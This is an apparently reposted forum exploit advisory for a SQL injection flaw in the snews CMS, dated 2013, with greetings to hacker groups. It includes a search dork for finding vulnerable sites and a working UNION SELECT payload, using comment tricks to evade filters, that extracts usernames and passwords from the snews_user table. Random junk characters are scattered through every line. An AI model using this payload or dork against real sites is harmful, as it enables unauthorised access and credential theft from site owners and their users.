标题: CMS snews SQL Injection Vulnerability
: }8 `7 z E3 v/ C& \* f作者: By onestree- P. n+ f5 ~, J7 r
下载地址 : http://snewscms.com/; n- B; N( }/ o9 f
测试平台 : ubuntu 12.10 / win 7* g! ?3 U* T; C3 B
关键词: inurl:"tanyakan pada rumput yang bergoyang"% [& s4 ^, C% Q" A: r* x v0 ?
% ]3 P8 N* T1 s % x' ], j9 v3 \4 `9 s
*************************************************************
/ l* P6 |1 S+ C8 C J8 F & Y: z0 c; d$ x5 C
SQL poc:
) W& I8 g7 j; G" S* K0 {: ] ! v2 {# P0 C' R. C5 P
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
. L8 ]" Q9 O l: r# c- O3 }
4 I" m. M3 c" D3 J% }示例# C% i; n2 M" m) v! K8 C. w# K3 ?
7 S" \% r+ _9 Y/ X$ n# J
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*6 H) o1 E8 ?. M. {6 M
+ ] ]$ V- x4 | , l: C- t8 ]' V% n$ g1 s5 N
致谢:
% H0 H% T" k( K4 y, G- ? 0 d6 h& K( ~) O W! \
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell* |6 q% G' ~* Y; J$ V8 R! `+ }
/ e4 }% o6 D3 l
indonesiancoder - moeslimh4x0r - go-coder- ?" x! l2 e$ q8 W. q
8 F( L1 B' K" d) m/ C8 Fspesial my hunny :*
8 ~4 l( {- X9 v. e3 S3 D |
发表于 2013-1-23 08:55:06
收藏
支持
反对